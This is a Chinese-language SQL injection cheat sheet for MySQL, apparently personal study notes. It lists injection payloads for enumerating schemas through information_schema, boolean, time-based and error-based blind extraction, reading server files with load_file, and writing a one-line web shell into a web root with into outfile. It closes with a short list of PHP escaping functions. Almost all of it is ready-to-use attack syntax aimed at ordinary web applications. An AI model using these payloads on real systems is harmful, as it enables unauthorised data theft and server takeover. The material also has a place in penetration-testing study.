字符串连接函数
1. concat(str1,str2,...)
连接参数产生的字符串。
select concat(id,',',name) as con from info limit 1;
2. group_concat(str1,str2,...)
连接一个组所有的字符串,以逗号分割。
select concat_ws('_',id,name) as con_ws from info limit 1;
Mysql中有一个系统数据库information_schema。可以利用该表进行完整的注入。一般流程:
(1). 猜数据库
select schema_name from information_schema.schemata
(2). 猜某库的数据表
select table_name from information_schema.tables where table_schema="xxxx"
(3). 猜某表的列
select column_name from information_schema.columns where table_name="xxxx"
盲注
盲注就是sql语句执行的选择后选择的数据不能回显到前端页面。我们需要利用一些方法进行判断。分为三类:
(1). 基于布尔的SQL盲注
(2). 基于时间的SQL盲注
(3). 基于报错的SQL盲注
截取字符串的相关函数
(1). mid()
截取字符串的一部分
mid(database(),1,1)>'a',查看数据库名第一位,mid(database(),2,1)查看第二位
mid((select table_name from information_schema.tables where table_schema="xxx" limit 0,1),1,1)>'a'
(2). substr()
截取字符串
substr(database(),1,1)>'a'查看数据库第一位
substr((select table_name from information_schema.tables where table_schema="xxx" limit 0,1),1,1)>'a'
(3). left()
得到字符串左部指定个数的字符串
left(string,n) string为截取的字符串,n为长度
left(database(),1)>'a'查看数据库第一位。left(database(),2)查看数据库前两位
regexp正则注入
1. 判断第一个表名的第一个字符是否为a-z中的字符
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^[a-z]' limit 0,1)
2. 缩小范围
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^[a-n]' limit 0,1)
3. 确定字符
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="xxx" and table_name regexp '^n' limit 0,1)
4. 表达式的更换
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE(这时说明表名为news,验证是否是该表名,正则表达式是'^news$',但是没必要,可以直接判断 table_name='news')
5. 猜测其他表
这里注意不能直接修改 limit 1,1 -> limit 2,1
因为regexp会对所有项匹配
例:
security有多个表:users,email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'u[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'us[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'em[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where tables_schema='security' and table_name regexp 'em[a-z]' limit 1,1);不正确
like匹配注入
和正则类似,mysql 在匹配时可以用like进行匹配
select user() like 'ro%'
基于报错的sql盲注
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))a from information_schema.columns group by a;
(此处三个点:一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by 进行分组)
可简化为如下形式
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键表被禁用,可以使用如下:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand禁用,可以使用:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
exp进行SQL报错注入
当传递进去的值大于709时,exp()(以e为底的对数函数)引起一个溢出错误
select exp(~(select * from(select user()a))) double型超出范围
bigint溢出
select !(select * from (select user())x) - ~0
~0是对0逐位取反
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e))
延时注入
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
条件为假,执行sleep
导入导出相关操作
文件权限
下面的语句可以查询用户读写文件操作权限
SELECT file_priv FROM mysql.user WHERE user = 'username'; 需要root用户来执行
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; 普通用户都可以
load_file()导出文件
读取文件并返回该文件的内容作为一个字符串
使用条件:
1. 必需有权限读取并且文件必需完全可读
and (select count(*) from mysql.user)>0 如果结果返回正常,说明有读写权限
2. 欲读取文件必需在服务器上
3. 必需指定文件的完整路径
4. 读取的文件必需小于max_allowed_packet
5. load_file() 函数操作文件的当前目录是@@datadir
在实际的注入中,需要解决两个难题:
绝对的物理路径
构造有效的畸形语句(报错爆出绝对路径)
mark一下常用的路径:点击打开链接
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
-1 union select 1,1,1,load_file(c:\\boot.ini)
文件导入到数据库
load data infile用于高速地从一个文本文件中读取行,并装入一个表中。文件名必须为一个文字字符串
load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'
将/tmp/t0.txt导入到t0表中,character set gbk设置字符集设置为gbk。fields terminated by是每一项数据之间的分隔符,lines terminated by时行的结尾符。
当错误代码为2时,文件不存在。当错误代码为13时候没有权限。
导入到文件
select.....into outfile 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须有file权限才可以使用。file_name不是一个已经存在的文件
有两种方式:
1. 直接select内容导入到文件中
select version() into outfile "c:\\phpnow\\htdocs\\test.php"
此处将version()替换成一句话,
select into outfile "c:\\phpnow\\htdocs\\test.php"
2. 修改文件结尾
select version() into outfile "c:\\phpnow\\htdocs\\test.php" lines terminated by 0x16
通常用"\r\n"结尾,此处修改自己想要的任何文件。同时可以用fields terminated by
这里介绍几个函数:
addslashes()
返回预定义字符之前添加反斜杠的字符串
预定义字符:
单引号(')
双引号(")
反斜杠(\)
NULL
stripslashes()
删除由 addslashes函数添加的反斜杠
mysql_real_escape_string()
转义sql语句中使用的字符串中的特殊字符:
\x00
\n
\r
\
'
"
\x1a